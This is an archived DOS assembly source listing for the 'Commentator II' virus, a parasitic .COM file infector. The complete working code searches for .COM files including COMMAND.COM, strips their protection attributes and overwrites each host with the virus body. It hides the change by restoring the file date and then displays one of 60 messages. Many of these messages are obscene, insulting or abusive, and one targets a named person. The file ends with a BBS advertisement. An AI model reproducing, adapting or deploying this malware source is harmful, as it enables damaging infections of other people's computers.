home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / COMMENT2.ASM < prev    next >
Assembly Source File  |  1992-11-29  |  15KB  |  335 lines

  1. ;┌─────────────────────────────────────────────────────────────────────────────┐
  2. ;│                      Commentator Virus by Glenn...                          │
  3. ;├─────────────────────────────────────────────────────────────────────────────┤
  4. ;│ This will be a Parasytic Non-Resident .COM infector.                        │
  5. ;│ It will also infect COMMAND.COM.                                            │
  6. ;└─────────────────────────────────────────────────────────────────────────────┘
  7. .MODEL TINY
  8.  
  9. Public          VirLen,MovLen
  10.  
  11. Code        Segment para 'Code'
  12. Assume        Cs:Code,Ds:Code,Es:Code
  13.  
  14.         Org 100h
  15.  
  16. Signature       Equ 0DeDeh      ; Signature of virus!
  17.  
  18. Buff1           Equ 0F100h
  19. Buff2        Equ Buff1+2
  20. VirLen        Equ Offset Einde-Offset Begin
  21. MovLen        Equ Offset Einde-Offset Mover
  22. DTA             Equ 0F000h
  23. Proggie         Equ DTA+1Eh
  24. Lenny           Equ DTA+1Ah
  25.  
  26. MinLen          Equ Virlen   ;Minimale lengte te besmetten programma
  27. MaxLen          Equ 0EF00h      ; Maximale lengte te besmetten programma
  28.  
  29. ;────────────────────────────────────────────────────────────────────
  30. ; This part will contain the actual virus code, for searching the
  31. ; next victim and infection of it.
  32. ;────────────────────────────────────────────────────────────────────
  33.  
  34. Begin:
  35.         Jmp Short OverSig    ; Sprong naar Oversig vanwege kenmerk
  36.                 DW Signature            ; Herkenningsteken virus
  37. Oversig:
  38.                 Pushf                   ;------------------
  39.         Push AX            ; Alle registers opslaan voor
  40.         Push BX            ; later gebruik van het programma
  41.         Push CX                 ;
  42.         Push DX                 ;
  43.         Push DS                 ;
  44.         Push ES                 ;
  45.         Push SS                 ;
  46.         Push SI                 ;
  47.         Push DI                 ;------------------
  48. InfectPart:
  49.         Mov AX,Sprong           ;------------------
  50.         Mov Buf1,AX             ; Spronggegevens bewaren om
  51.         Mov BX,Source           ; besmette programma te starten
  52.         Mov Buf2,BX             ;------------------
  53.         Mov AH,1Ah        ; DTA area instellen op
  54.                 Mov DX,DTA              ; $DTA area
  55.         Int 21h                 ;------------------
  56. Vindeerst:    Mov AH,4Eh        ; Zoeken naar 1e .COM file in directory
  57.         Mov Cx,1        ;
  58.         Lea DX,FindPath         ;
  59.         Int 21h                 ;------------------
  60.         Jnc KijkInfected    ; Geen gevonden, goto Afgelopen
  61.         Jmp Afgelopen        ;------------------
  62. KijkInfected:
  63.                 Mov DX,Cs:[Lenny]       ;------------------
  64.         Cmp DX,MinLen           ; Kijken of programmalengte voldoet
  65.         Jb  ZoekNext            ; aan de eisen van het virus
  66.                 Cmp DX,MaxLen           ;
  67.                 Ja  ZoekNext            ;------------------
  68. On2:        Mov AH,3Dh        ; Zo ja , file openen en file handle
  69.         Mov AL,2        ; opslaan
  70.         Mov DX,Proggie        ;
  71.         Int 21h            ;
  72.         Mov FH,AX               ;------------------
  73.           Mov BX,AX               ;
  74.          Mov AH,3Fh              ; Lezen 1e 4 bytes van een file met
  75.          Mov CX,4                ; een mogelijk kenmerk van het virus
  76.         Mov DX,Buff1            ;
  77.         Int 21h                 ;------------------
  78. Sluiten:    Mov AH,3Eh        ; File weer sluiten
  79.         Int 21h            ;------------------
  80.         Mov AX,CS:[Buff2]    ; Vergelijken inhoud lokatie Buff1+2
  81.                 Cmp AX,Signature        ; met Signature. Niet gelijk : Zoeken op
  82.                 Jnz Infect              ; morgoth virus. Als bestand al besmet
  83. ZoekNext:
  84.         Mov AH,4Fh              ;------------------
  85.         Int 21h                 ; Zoeken naar volgende .COM file
  86.         Jnc KijkInfected        ; Geen gevonden, goto Afgelopen
  87.                 Jmp Afgelopen           ;------------------
  88. Infect:
  89.                 Mov DX,Proggie            ; beveiliging weghalen
  90.         Mov AH,43h              ;
  91.         Mov AL,1                ;
  92.                 Xor CX,Cx
  93.         Int 21h                 ;------------------
  94.         Mov AH,3Dh        ; Bestand openen
  95.         Mov AL,2                ;
  96.                 Mov DX,Proggie          ;
  97.         Int 21h                 ;------------------
  98.         Mov FH,AX        ; Opslaan op stack van
  99.         Mov BX,AX               ; datum voor later gebruik
  100.         Mov AH,57H              ;
  101.         Mov AL,0                ;
  102.         Int 21h                 ;
  103.         Push CX                 ;
  104.         Push DX                 ;------------------
  105.         Mov AH,3Fh              ; Inlezen van eerste deel van het
  106.         Mov CX,VirLen+2        ; programma om later terug te
  107.         Mov DX,Buff1            ; kunnen plaatsen.
  108.         Int 21h                 ;------------------
  109.         Mov AH,42H        ; File Pointer weer naar het
  110.         Mov AL,2        ; einde van het programma
  111.         Xor CX,CX        ; zetten
  112.         Xor DX,DX        ;
  113.         Int 21h                 ;------------------
  114.         Xor DX,DX        ; Bepalen van de variabele sprongen
  115.         Add AX,100h             ; in het virus (move-routine)
  116.         Mov Sprong,AX           ;
  117.         Add AX,MovLen        ;
  118.         Mov Source,AX           ;------------------
  119.         Mov AH,40H              ; Move routine bewaren aan
  120.                 Mov DX,Offset Mover     ; einde van file
  121.         Mov CX,MovLen           ;
  122.         Int 21h                 ;------------------
  123.         Mov AH,40H              ; Eerste deel programma aan-
  124.         Mov DX,Buff1            ; voegen na Move routine
  125.         Mov CX,VirLen           ;
  126.         Int 21h                 ;------------------
  127.                 Mov AH,42h              ; File Pointer weer naar
  128.         Mov AL,0        ; het begin van file
  129.         Xor CX,CX               ; sturen
  130.         Xor DX,DX               ;
  131.         Int 21h                 ;------------------
  132.         Mov AH,40h              ; En programma overschrijven
  133.         Mov DX,Offset Begin     ; met code van het virus
  134.         Mov CX,VirLen           ;
  135.         Int 21h                 ;------------------
  136.         Mov AH,57h        ; Datum van aangesproken file
  137.         Mov AL,1                ; weer herstellen
  138.         Pop DX                  ;
  139.         Pop CX                  ;
  140.         Int 21h                 ;------------------
  141.         Mov AH,3Eh        ; Sluiten file
  142.         Int 21h                 ;------------------
  143. Afgelopen:    Mov BX,Buf2             ; Sprongvariabelen weer
  144.         Mov Source,BX           ; op normaal zetten voor
  145.         Mov AX,Buf1             ; de Move routine
  146.         Mov Sprong,AX           ;------------------
  147.         Mov AH,1Ah              ; DTA adres weer op normaal
  148.         Mov Dx,80h              ; zetten en naar de Move
  149.         Int 21h                 ; routine springen
  150.                 Mov Ah,2Ch
  151.                 Int 21h
  152.                 Xor DL,DL
  153.                 Xchg Dh,Dl
  154.                 Add Dx,Dx
  155. ;               And Dx,11111110b
  156.                 Add Dx,Offset MsgTab
  157.                 Mov Si,Dx
  158.                 Mov Dx,Cs:[SI]
  159.                 Mov AH,9
  160.                 Int 21h
  161.                 Jmp CS:[Sprong]         ;------------------
  162.  
  163. Msgtab          DW offset Msg1
  164.                 DW offset Msg2
  165.                 DW offset Msg3
  166.                 DW offset Msg4
  167.                 DW offset Msg5
  168.                 DW offset Msg6
  169.                 DW offset Msg7
  170.                 DW offset Msg8
  171.                 DW offset Msg9
  172.                 DW offset Msg10
  173.                 DW offset Msg11
  174.                 DW offset Msg12
  175.                 DW offset Msg13
  176.                 DW offset Msg14
  177.                 DW offset Msg15
  178.                 DW offset Msg16
  179.                 DW offset Msg17
  180.                 DW offset Msg18
  181.                 DW offset Msg19
  182.                 DW offset Msg20
  183.                 DW offset Msg21
  184.                 DW offset Msg22
  185.                 DW offset Msg23
  186.                 DW offset Msg24
  187.                 DW offset Msg25
  188.                 DW offset Msg26
  189.                 DW offset Msg27
  190.                 DW offset Msg28
  191.                 DW offset Msg29
  192.                 DW offset Msg30
  193.                 DW offset Msg31
  194.                 DW offset Msg32
  195.                 DW offset Msg33
  196.                 DW offset Msg34
  197.                 DW offset Msg35
  198.                 DW offset Msg36
  199.                 DW offset Msg37
  200.                 DW offset Msg38
  201.                 DW offset Msg39
  202.                 DW offset Msg40
  203.                 DW offset Msg41
  204.                 DW offset Msg42
  205.                 DW offset Msg43
  206.                 DW offset Msg44
  207.                 DW offset Msg45
  208.                 DW offset Msg46
  209.                 DW offset Msg47
  210.                 DW offset Msg48
  211.                 DW offset Msg49
  212.                 DW offset Msg50
  213.                 DW offset Msg51
  214.                 DW offset Msg52
  215.                 DW offset Msg53
  216.                 DW offset Msg54
  217.                 DW offset Msg55
  218.                 DW offset Msg56
  219.                 DW offset Msg57
  220.                 DW offset Msg58
  221.                 DW offset Msg59
  222.                 DW offset Msg60
  223.  
  224. Msg1            Db 13,10,'Cycle sluts from hell',13,10,'$'
  225. Msg2            Db 13,10,'Virus Mania IV',13,10,'$'
  226. Msg3            Db 13,10,'2 Live Crew is fucking cool',13,10,'$'
  227. Msg4            Db 13,10,'Like Commentator I, HIP-HOP sucks',13,10,'$'
  228. Msg5            Db 13,10,'Dr. Ruth is a first-class lady!',13,10,'$'
  229. Msg6            Db 13,10,'Dont be a wimp, be dead!',13,10,'$'
  230. Msg7            Db 13,10,'This dick was made for laying girls.',13,10,'$'
  231. Msg8            Db 13,10,'No virus entry, just me!',13,10,'$'
  232. Msg9            Db 13,10,'Dont bite it, you horny bitch!',13,10,'$'
  233. Msg10           Db 13,10,'Stroke my keys, oh YES!',13,10,'$'
  234. Msg11           Db 13,10,'Sex Revolution 4000',13,10,'$'
  235. Msg12           Db 13,10,'Buck Rogers is fake',13,10,'$'
  236. Msg13           Db 13,10,'(C) by Glenn Benton',13,10,'$'
  237. Msg14           Db 13,10,'Registration number required',13,10,'$'
  238. Msg15           Db 13,10,'The fly is alive',13,10,'$'
  239. Msg16           Db 13,10,'Dont fuck with me, or I will kick some ass...',13,10,'$'
  240. Msg17           Db 13,10,'Hey, dont hit the keys that hard!',13,10,'$'
  241. Msg18           Db 13,10,'You will feel me...',13,10,'$'
  242. Msg19           Db 13,10,'BEER BEER BEER BEER BEER BEER BEER!!!',13,10,'$'
  243. Msg20           Db 13,10,'YOU HAVE A VIRUS, BWAH AH AH EH EH HEH ARF!',13,10,'$'
  244. Msg21           Db 13,10,'I would alter Michael Jacksons face with my fists...',13,10,'$'
  245. Msg22           Db 13,10,'WIM KOK IS STILL A COMMUNIST!',13,10,'$'
  246. Msg23           Db 13,10,'Welcome to COMMENTATOR II',13,10,'$'
  247. Msg24           Db 13,10,'Commentator I & II released!',13,10,'$'
  248. Msg25           Db 13,10,'Legalize ABORTUS!',13,10,'$'
  249. Msg26           Db 13,10,'Ronald McDonald goes Oude-Pekela!',13,10,'$'
  250. Msg27           Db 13,10,'Source code soon aveable...',13,10,'$'
  251. Msg28           Db 13,10,'Dont use a rubber against this virus!',13,10,'$'
  252. Msg29           Db 13,10,'Swimming holiday in Bangladesh!',13,10,'$'
  253. Msg30           Db 13,10,'Neo Nazis are a pile of shit.',13,10,'$'
  254.  
  255. Msg31           Db 13,10,'Virus researchers are a pile of meat on the street.',13,10,'$'
  256. Msg32           Db 13,10,'World Championship Cat-Throwing',13,10,'$'
  257. Msg33           Db 13,10,'Yo Yo Yo Yo Yo Yo Yo, James Brown is DEAD!',13,10,'$'
  258. Msg34           Db 13,10,'Yech, you are reminding me of my mother-in-law...',13,10,'$'
  259. Msg35           Db 13,10,'How is the weather out there?',13,10,'$'
  260. Msg36           Db 13,10,'Indalis is a fat bitch who looks like a glass-bin.',13,10,'$'
  261. Msg37           Db 13,10,'Lubbers should be castrated for a long time ago.',13,10,'$'
  262. Msg38           Db 13,10,'Legalize hookers (at a low prize!)',13,10,'$'
  263. Msg39           Db 13,10,'Fist fucking sounds irrelevant to you, eh?',13,10,'$'
  264. Msg40           Db 13,10,'I will be Back...',13,10,'$'
  265. Msg41           Db 13,10,'Today it is..... JUDGEMENT DAY!!!',13,10,'$'
  266. Msg42           Db 13,10,'Never mind the dog, beware of owner.',13,10,'$'
  267. Msg43           Db 13,10,'You still owe me a CO-PROCESSOR!',13,10,'$'
  268. Msg44           Db 13,10,'Do not drink and drive',13,10,'$'
  269. Msg45           Db 13,10,'Last name ALMIGHTY, first name DICK',13,10,'$'
  270. Msg46           Db 13,10,'Frodo lives!',13,10,'$'
  271. Msg47           Db 13,10,'The leech lives',13,10,'$'
  272. Msg48           Db 13,10,'Hey, Cracker Jack! Nice virus you made!',13,10,'$'
  273. Msg49           Db 13,10,'A depressive Prince Claus looks like fun!',13,10,'$'
  274. Msg50           Db 13,10,'Happy Eastern',13,10,'$'
  275. Msg51           Db 13,10,'Thank god for AIDS',13,10,'$'
  276. Msg52           Db 13,10,'Art is incredible stupid',13,10,'$'
  277. Msg53           Db 13,10,'Out of semen error',13,10,'$'
  278. Msg54           Db 13,10,'Incorrect BEF version',13,10,'$'
  279. Msg55           Db 13,10,'Of je stopt de stekker erin?!?',13,10,'$'
  280. Msg56           Db 13,10,'Jean Claude van Damme kicks ass.',13,10,'$'
  281. Msg57           Db 13,10,'Cannabis expands the mind',13,10,'$'
  282. Msg58           Db 13,10,'What is this memory? EMS XMS LIM HMA UMB?',13,10,'$'
  283. Msg59           Db 13,10,'NOOOOOO NOT AN IBM SYSTEM, PLEASE!!!!!',13,10,'$'
  284. Msg60           Db 13,10,'Dutch Virus Research Laboratory',13,10,'$'
  285.  
  286. ;────────────────────────────────────────────────────────────────────
  287. ; All variables are stored in here, like filehandle, date/time,
  288. ; search path and various buffers.
  289. ;────────────────────────────────────────────────────────────────────
  290.  
  291. FH          DW 0
  292. FindPath        DB '*.COM',0
  293.  
  294. Buf1        DW 0
  295. Buf2            DW 0
  296.  
  297. Sprong        DW 0
  298. Source        DW 0
  299.  
  300. ;────────────────────────────────────────────────────────────────────
  301. ; This will contain the relocator routine, located at the end of
  302. ; the ORIGINAL file. This will tranfer the 1st part of the program
  303. ; to it's original place.
  304. ;────────────────────────────────────────────────────────────────────
  305. Mover:
  306.         Mov DI,Offset Begin    ;------------------
  307.         Mov SI,Source           ; Verplaatsen van het 1e deel
  308.         Mov CX,VirLen-1         ; van het programma, wat achter
  309.         Rep Movsb               ;------------------
  310.         Pop DI            ; Opgeslagen registers weer
  311.         Pop SI                  ; terugzetten op originele
  312.         Pop SS                  ; waarde en springen naar
  313.         Pop ES                  ; het begin van het programma
  314.         Pop DS                  ; (waar nu het virus niet meer
  315.         Pop DX                  ; staat)
  316.         Pop CX                  ;
  317.         Pop BX                  ;
  318.         Pop AX                  ;
  319.         Popf                    ;
  320.         Mov BX,100h             ;
  321.         Jmp BX             ;------------------
  322.  
  323. ;────────────────────────────────────────────────────────────────────
  324. ; Only the end of the virus is stored in here.
  325. ;────────────────────────────────────────────────────────────────────
  326. Einde        db 0
  327.  
  328. Code            Ends
  329. End             Begin
  330.  
  331. ;  ─────────────────────────────────────────────────────────────────────────
  332. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  333. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  334. ;  ─────────────────────────────────────────────────────────────────────────
  335.